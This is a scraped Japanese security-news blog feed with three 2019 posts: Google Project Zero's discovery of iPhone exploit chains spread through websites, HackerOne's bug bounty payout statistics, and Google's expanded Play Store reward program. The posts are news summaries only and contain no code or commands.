src="//rcm-fe.amazon-adsystem.com/e/cm?lt1=_blank&amp;bc1=000000&amp;IS2=1&amp;bg1=FFFFFF&amp;fc1=000000&amp;lc1=0000FF&amp;t=umimimi-22&amp;language=ja_JP&amp;o=9&amp;p=8&amp;l=as4&amp;m=amazon&amp;f=ifr&amp;ref=as_ss_li_til&amp;asins=B07WNLZJC4&amp;linkId=f0bc43dae5374d2fdf02e441fca8426d" frameborder="0" marginwidth="0" marginheight="0" scrolling="no"></iframe> <iframe style="width: 120px; height: 240px;" src="//rcm-fe.amazon-adsystem.com/e/cm?lt1=_blank&amp;bc1=000000&amp;IS2=1&amp;bg1=FFFFFF&amp;fc1=000000&amp;lc1=0000FF&amp;t=umimimi-22&amp;language=ja_JP&amp;o=9&amp;p=8&amp;l=as4&amp;m=amazon&amp;f=ifr&amp;ref=as_ss_li_til&amp;asins=B072BXX3T6&amp;linkId=74080fedf64154bd916bb6cee391abea" frameborder="0" marginwidth="0" marginheight="0" scrolling="no"></iframe> <iframe style="width: 120px; height: 240px;" src="//rcm-fe.amazon-adsystem.com/e/cm?lt1=_blank&amp;bc1=000000&amp;IS2=1&amp;bg1=FFFFFF&amp;fc1=000000&amp;lc1=0000FF&amp;t=umimimi-22&amp;language=ja_JP&amp;o=9&amp;p=8&amp;l=as4&amp;m=amazon&amp;f=ifr&amp;ref=as_ss_li_til&amp;asins=B011KIC0RG&amp;linkId=53844d1c4b1fe0412649cde7d8411dae" frameborder="0" marginwidth="0" marginheight="0" scrolling="no"></iframe></p> <p> </p> <p> </p> <p>Twitter アカウント</p> <p><a href="https://twitter.com/security_index">Security Index (@security_index) | Twitter</a></p> security_index GoogleがWebサイトで利用されていたiPhoneのゼロデイ脆弱性を発見 2年間もの間悪用されていた恐れ hatenablog://entry/26006613412900440 2019-08-31T22:04:23+09:00 2019-08-31T22:04:23+09:00 Googleのセキュリティグループ Project Zero はiPhoneが2年間もの間、Webサイトにアクセスさせるだけでハッキングされる恐れがあったことを報告した。 5つのエクスプロイトチェーンが公開され、全体で14つの脆弱性が発見された。 1つ1つのチェーンに関する詳細もProject Zeroのページで説明されている。 チェーン1はiOS 10が公開された後すぐに作成されたものと見られており、少なくとも2年間は攻撃可能な状態にあったという。 攻撃の中身としてはSafariのサンドボックスを回避し、カーネルの脆弱性を悪用できるというもの。 この脆弱性によって、通信の盗聴や位置情報、写真… <p> <a class="keyword" href="http://d.hatena.ne.jp/keyword/Google">Google</a>のセキュリティグループ Project Zero は<a class="keyword" href="http://d.hatena.ne.jp/keyword/iPhone">iPhone</a>が2年間もの間、Webサイトにアクセスさせるだけでハッキングされる恐れがあったことを報告した。</p> <p> </p> <p> </p> <p><img class="hatena-fotolife" title="f:id:security_index:20190831211425p:plain" src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20190831/20190831211425.png" alt="f:id:security_index:20190831211425p:plain" /></p> <p> </p> <p>5つのエクスプロイトチェーンが公開され、全体で14つの<a class="keyword" href="http://d.hatena.ne.jp/keyword/%C0%C8%BC%E5%C0%AD">脆弱性</a>が発見された。</p> <p> </p> <p>1つ1つのチェーンに関する詳細もProject Zeroの<a href="https://googleprojectzero.blogspot.com/2019/08/a-very-deep-dive-into-ios-exploit.html">ページ</a>で説明されている。</p> <p> </p> <p><img class="hatena-fotolife" title="f:id:security_index:20190831212822p:plain" src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20190831/20190831212822.png" alt="f:id:security_index:20190831212822p:plain" /></p> <p> </p> <p>チェーン1は<a class="keyword" href="http://d.hatena.ne.jp/keyword/iOS%2010">iOS 10</a>が公開された後すぐに作成されたものと見られており、少なくとも2年間は攻撃可能な状態にあったという。</p> <p> </p> <p>攻撃の中身としては<a class="keyword" href="http://d.hatena.ne.jp/keyword/Safari">Safari</a>の<a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%B5%A5%F3%A5%C9%A5%DC%A5%C3%A5%AF%A5%B9">サンドボックス</a>を回避し、<a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%AB%A1%BC%A5%CD%A5%EB">カーネル</a>の<a class="keyword" href="http://d.hatena.ne.jp/keyword/%C0%C8%BC%E5%C0%AD">脆弱性</a>を悪用できるというもの。</p> <p> </p> <p>この<a class="keyword" href="http://d.hatena.ne.jp/keyword/%C0%C8%BC%E5%C0%AD">脆弱性</a>によって、通信の盗聴や位置情報、写真、<a class="keyword" href="http://d.hatena.ne.jp/keyword/iOS">iOS</a>のキーチェーンのパスワードなどが盗まれる危険がある。</p> <p> </p> <p>WhatsAppのようにエンドツーエンドの暗号化をしているものでもメッセージを見られる。</p> <p> </p> <p>それは、メッセージが復号された状態で保存されたデータベースの情報を<a class="keyword" href="http://d.hatena.ne.jp/keyword/%C0%C8%BC%E5%C0%AD">脆弱性</a>を使った<a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%DE%A5%EB%A5%A6%A5%A7%A5%A2">マルウェア</a>は見ることができるためである。</p> <p> </p> <p><img class="hatena-fotolife" title="f:id:security_index:20190831220230p:plain" src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20190831/20190831220230.png" alt="f:id:security_index:20190831220230p:plain" /></p> <p> </p> <p><a class="keyword" href="http://d.hatena.ne.jp/keyword/Gmail">Gmail</a>の場合もメールの内容を見られる危険がある。</p> <p> </p> <p><img class="hatena-fotolife" title="f:id:security_index:20190831220310p:plain" src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20190831/20190831220310.png" alt="f:id:security_index:20190831220310p:plain" /></p> <p> </p> <p>これほどの<a class="keyword" href="http://d.hatena.ne.jp/keyword/%C0%C8%BC%E5%C0%AD">脆弱性</a>の場合、100万ドルから最近では200万ドルで<a class="keyword" href="http://d.hatena.ne.jp/keyword/%C0%C8%BC%E5%C0%AD">脆弱性</a>が取引されるが、特定のターゲットを狙った攻撃ではなくWebサイトに公開されていたところが疑問である。</p> <p> </p> <p><a href="https://www.wired.com/story/ios-attack-watering-hole-project-zero/">Wiredの記事</a>では、元<a class="keyword" href="http://d.hatena.ne.jp/keyword/NSA">NSA</a>のJake Williamsによると、国内の監視活動ではないかと予想している。</p> <p> </p> <p>また、これらのゼロデイ<a class="keyword" href="http://d.hatena.ne.jp/keyword/%C0%C8%BC%E5%C0%AD">脆弱性</a>を使った<a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%B9%A5%D1%A5%A4%A5%A6%A5%A7%A5%A2">スパイウェア</a>が<a class="keyword" href="http://d.hatena.ne.jp/keyword/HTTPS">HTTPS</a>暗号化をせず、通信先の<a class="keyword" href="http://d.hatena.ne.jp/keyword/IP%A5%A2%A5%C9%A5%EC%A5%B9">IPアドレス</a>がハードコードされている点もア<a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%DE%A5%C1%A5%E5%A5%A2">マチュア</a>のようなミスだという。</p> <p> </p> <p>HTTP通信のため、途中でデータを見ることも改ざんすることも可能。</p> <p>また、<a class="keyword" href="http://d.hatena.ne.jp/keyword/IP%A5%A2%A5%C9%A5%EC%A5%B9">IPアドレス</a>がハードコードされているために<a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%CF%A5%C3%A5%AB%A1%BC">ハッカー</a>グループのサーバーを特定することも容易になる。</p> <p> </p> <p>これらのことからも政府機関が<a class="keyword" href="http://d.hatena.ne.jp/keyword/%C0%C8%BC%E5%C0%AD">脆弱性</a>を購入し、経験の浅い<a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%D7%A5%ED%A5%B0%A5%E9%A5%DE%A1%BC">プログラマー</a>が<a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%DE%A5%EB%A5%A6%A5%A7%A5%A2">マルウェア</a>を作成したのではないかと予想している。</p> <p> </p> <p><iframe style="width: 120px; height: 240px;" src="//rcm-fe.amazon-adsystem.com/e/cm?lt1=_blank&amp;bc1=000000&amp;IS2=1&amp;bg1=FFFFFF&amp;fc1=000000&amp;lc1=0000FF&amp;t=umimimi-22&amp;language=ja_JP&amp;o=9&amp;p=8&amp;l=as4&amp;m=amazon&amp;f=ifr&amp;ref=as_ss_li_til&amp;asins=B07MYSZ715&amp;linkId=4711071add55faf38cfa5272e7d7831d" frameborder="0" marginwidth="0" marginheight="0" scrolling="no"></iframe> <iframe style="width: 120px; height: 240px;" src="//rcm-fe.amazon-adsystem.com/e/cm?lt1=_blank&amp;bc1=000000&amp;IS2=1&amp;bg1=FFFFFF&amp;fc1=000000&amp;lc1=0000FF&amp;t=umimimi-22&amp;language=ja_JP&amp;o=9&amp;p=8&amp;l=as4&amp;m=amazon&amp;f=ifr&amp;ref=as_ss_li_til&amp;asins=B01MQUGSRF&amp;linkId=9df02cf39c4117bfa15b8c303a7fa7e4" frameborder="0" marginwidth="0" marginheight="0" scrolling="no"></iframe> <iframe style="width: 120px; height: 240px;" src="//rcm-fe.amazon-adsystem.com/e/cm?lt1=_blank&amp;bc1=000000&amp;IS2=1&amp;bg1=FFFFFF&amp;fc1=000000&amp;lc1=0000FF&amp;t=umimimi-22&amp;language=ja_JP&amp;o=9&amp;p=8&amp;l=as4&amp;m=amazon&amp;f=ifr&amp;ref=as_ss_li_til&amp;asins=B01BLVZ3IK&amp;linkId=d7861739b94163a51c7682aa10bb30b6" frameborder="0" marginwidth="0" marginheight="0" scrolling="no"></iframe> <iframe style="width: 120px; height: 240px;" src="//rcm-fe.amazon-adsystem.com/e/cm?lt1=_blank&amp;bc1=000000&amp;IS2=1&amp;bg1=FFFFFF&amp;fc1=000000&amp;lc1=0000FF&amp;t=umimimi-22&amp;language=ja_JP&amp;o=9&amp;p=8&amp;l=as4&amp;m=amazon&amp;f=ifr&amp;ref=as_ss_li_til&amp;asins=B07JJKLZNW&amp;linkId=18963293bace355ded7dd58cda8e9173" frameborder="0" marginwidth="0" marginheight="0" scrolling="no"></iframe></p> <p> </p> security_index バグバウンティは増加傾向 ハッカーのうち利益を得ているのはわずか1% HackerOne調査 hatenablog://entry/26006613410746912 2019-08-30T22:32:04+09:00 2019-10-27T21:07:28+09:00 最近 Google、Appleがバグバウンティ制度を拡大しているが、バグバウンティで支払われる平均金額が上がっているとバグバウンティのプラットフォームを提供しているHackerOneがレポートを発行した。 クリティカルな脆弱性に対して支払われた平均の金額は平均3,384ドル、これは去年の平均よりも50%を上がっている。 より深刻な脆弱性で10,000ドルを超えるようなものも511件あり、これは去年の4倍になっている。 発見された脆弱性の内訳は上記のように、全体の7%がクリティカルなものである。Highが18%で、それ以下のMedium 41%, Low 34%とかなりの部分を占めている。 また… <p>最近 <a class="keyword" href="http://d.hatena.ne.jp/keyword/Google">Google</a>、<a class="keyword" href="http://d.hatena.ne.jp/keyword/Apple">Apple</a>がバグバウンティ制度を拡大しているが、バグバウンティで支払われる平均金額が上がっているとバグバウンティのプラットフォームを提供しているHackerOneが<a href="https://www.hackerone.com/resources/hacker-powered-security-report-2019">レポート</a>を発行した。</p> <p> </p> <p><img class="hatena-fotolife" title="f:id:security_index:20190830215416p:plain" src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20190830/20190830215416.png" alt="f:id:security_index:20190830215416p:plain" /></p> <p> </p> <p>クリティカルな<a class="keyword" href="http://d.hatena.ne.jp/keyword/%C0%C8%BC%E5%C0%AD">脆弱性</a>に対して支払われた平均の金額は平均3,384ドル、これは去年の平均よりも50%を上がっている。</p> <p> </p> <p>より深刻な<a class="keyword" href="http://d.hatena.ne.jp/keyword/%C0%C8%BC%E5%C0%AD">脆弱性</a>で10,000ドルを超えるようなものも511件あり、これは去年の4倍になっている。</p> <p> </p> <p><img class="hatena-fotolife" title="f:id:security_index:20190830222406p:plain" src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20190830/20190830222406.png" alt="f:id:security_index:20190830222406p:plain" /></p> <p> </p> <p>発見された<a class="keyword" href="http://d.hatena.ne.jp/keyword/%C0%C8%BC%E5%C0%AD">脆弱性</a>の内訳は上記のように、全体の7%がクリティカルなものである。Highが18%で、それ以下のMedium 41%, Low 34%とかなりの部分を占めている。</p> <p> </p> <p>また、業種別での報奨金では、暗号通貨や<a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%D6%A5%ED%A5%C3%A5%AF%A5%C1%A5%A7%A1%BC%A5%F3">ブロックチェーン</a>に関する企業がもっとも多く支払っており、平均で6,124ドルもの金額を支払っている。</p> <p> </p> <p>次に多いのがインターネット・オンラインサービス企業で4,973ドル、航空宇宙企業が4,500ドル、電気・<a class="keyword" href="http://d.hatena.ne.jp/keyword/%C8%BE%C6%B3%C2%CE">半導体</a>企業が4,398ドルとなっている。</p> <p> </p> <p><img class="hatena-fotolife" title="f:id:security_index:20190830215916p:plain" src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20190830/20190830215916.png" alt="f:id:security_index:20190830215916p:plain" /></p> <p> </p> <p>しかし、誰もがバグバウンティで成功しているわけではない。</p> <p> </p> <p>現在、HackerOneには50万人以上の<a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%CF%A5%C3%A5%AB%A1%BC">ハッカー</a>が登録しているが、実際に成功しているのはわずか5,000人だという。</p> <p> </p> <p>「50万人のうち5万人がハッキングを続け、5,000人がセキュリティの専門家になり、そのうち500人がCISOになる」とHackerOneのCEO Marten Mickosはいう。</p> <p> </p> <p><iframe style="width: 120px; height: 240px;" src="//rcm-fe.amazon-adsystem.com/e/cm?lt1=_blank&amp;bc1=000000&amp;IS2=1&amp;bg1=FFFFFF&amp;fc1=000000&amp;lc1=0000FF&amp;t=umimimi-22&amp;language=ja_JP&amp;o=9&amp;p=8&amp;l=as4&amp;m=amazon&amp;f=ifr&amp;ref=as_ss_li_til&amp;asins=B07JJKLZNW&amp;linkId=34abe5f8cc5a2dbd89786e6f7ae1a76c" frameborder="0" marginwidth="0" marginheight="0" scrolling="no"></iframe> <iframe style="width: 120px; height: 240px;" src="//rcm-fe.amazon-adsystem.com/e/cm?lt1=_blank&amp;bc1=000000&amp;IS2=1&amp;bg1=FFFFFF&amp;fc1=000000&amp;lc1=0000FF&amp;t=umimimi-22&amp;language=ja_JP&amp;o=9&amp;p=8&amp;l=as4&amp;m=amazon&amp;f=ifr&amp;ref=as_ss_li_til&amp;asins=B01N7A0TFV&amp;linkId=3879f3534cb1a05380ac6c3c995eb8f9" frameborder="0" marginwidth="0" marginheight="0" scrolling="no"></iframe> <iframe style="width: 120px; height: 240px;" src="//rcm-fe.amazon-adsystem.com/e/cm?lt1=_blank&amp;bc1=000000&amp;IS2=1&amp;bg1=FFFFFF&amp;fc1=000000&amp;lc1=0000FF&amp;t=umimimi-22&amp;language=ja_JP&amp;o=9&amp;p=8&amp;l=as4&amp;m=amazon&amp;f=ifr&amp;ref=as_ss_li_til&amp;asins=B07MYSZ715&amp;linkId=c0b402139295ebfd30ae56fa488aca1d" frameborder="0" marginwidth="0" marginheight="0" scrolling="no"></iframe> <iframe style="width: 120px; height: 240px;" src="//rcm-fe.amazon-adsystem.com/e/cm?lt1=_blank&amp;bc1=000000&amp;IS2=1&amp;bg1=FFFFFF&amp;fc1=000000&amp;lc1=0000FF&amp;t=umimimi-22&amp;language=ja_JP&amp;o=9&amp;p=8&amp;l=as4&amp;m=amazon&amp;f=ifr&amp;ref=as_ss_li_til&amp;asins=B078G94JNT&amp;linkId=dab7d823b97e34de103ab5ecd8b7da28" frameborder="0" marginwidth="0" marginheight="0" scrolling="no"></iframe></p> <p> </p> <p> </p> <p><a class="keyword" href="http://d.hatena.ne.jp/keyword/Twitter">Twitter</a> アカウント</p> <p><a href="https://twitter.com/security_index">Security Index (@security_index) | Twitter</a></p> security_index Android Google Play アプリのバグバウンティ範囲を拡大 1億DL以上の全てのアプリが対象に hatenablog://entry/26006613409704370 2019-08-30T08:56:25+09:00 2019-08-30T09:09:06+09:00 GoogleがAndroidのバグバウンティプログラム Google Play Security Reward Program (GPSRP) の対象を拡大し、ダウンロード数が1億回以上の全てのアプリを対象とした。 加えて、新たなプログラム Developer Data Protection Reward Program (DDPRP) も開始。 DDPRPでは、Androidアプリ、OAuthプロジェクト、Chrome拡張機能のデータ不正使用の問題を特定して軽減することを目的としている。 特に、ユーザーデータが予期せずに使用または販売されていること、ユーザーの同意なしに不正な方法で転用されて… <p> <a class="keyword" href="http://d.hatena.ne.jp/keyword/Google">Google</a>が<a class="keyword" href="http://d.hatena.ne.jp/keyword/Android">Android</a>のバグバウンティプログラム <a href="https://hackerone.com/googleplay">Google Play Security Reward Program (GPSRP)</a> の対象を拡大し、ダウンロード数が1億回以上の全てのアプリを対象とした。</p> <p> </p> <p><img class="hatena-fotolife" title="f:id:security_index:20190830084132p:plain" src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20190830/20190830084132.png" alt="f:id:security_index:20190830084132p:plain" /></p> <p>加えて、新たなプログラム <a href="https://hackerone.com/ddp_reward_program">Developer Data Protection Reward Program (DDPRP) </a>も開始。</p> <p> </p> <p>DDPRPでは、<a class="keyword" href="http://d.hatena.ne.jp/keyword/Android">Android</a>アプリ、OAuthプロジェクト、<a class="keyword" href="http://d.hatena.ne.jp/keyword/Chrome">Chrome</a><a class="keyword" href="http://d.hatena.ne.jp/keyword/%B3%C8%C4%A5%B5%A1%C7%BD">拡張機能</a>のデータ不正使用の問題を特定して軽減することを目的としている。</p> <p> </p> <p>特に、ユーザーデータが予期せずに使用または販売されていること、ユーザーの同意なしに不正な方法で転用されていることを特定し対処することを目指している。</p> <p> </p> <p>GPSRPの報奨金の基準は</p> <p> </p> <p>1)RCE(リモートコード実行)-20,000ドル</p> <p>2)安全でない個人データの盗難 -3,000ドル</p> <p>3)保護されたアプリ<a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%B3%A5%F3%A5%DD%A1%BC%A5%CD%A5%F3%A5%C8">コンポーネント</a>へのアクセス-3,000ドル</p> <p> </p> <p>となっている。</p> <p> </p> <p><iframe style="width: 120px; height: 240px;" src="//rcm-fe.amazon-adsystem.com/e/cm?lt1=_blank&amp;bc1=000000&amp;IS2=1&amp;bg1=FFFFFF&amp;fc1=000000&amp;lc1=0000FF&amp;t=umimimi-22&amp;language=ja_JP&amp;o=9&amp;p=8&amp;l=as4&amp;m=amazon&amp;f=ifr&amp;ref=as_ss_li_til&amp;asins=111860864X&amp;linkId=2c420a0f2c6415fc87e65edbc9e4bee3" frameborder="0" marginwidth="0" marginheight="0" scrolling="no"></iframe></p> <p> </p> security_index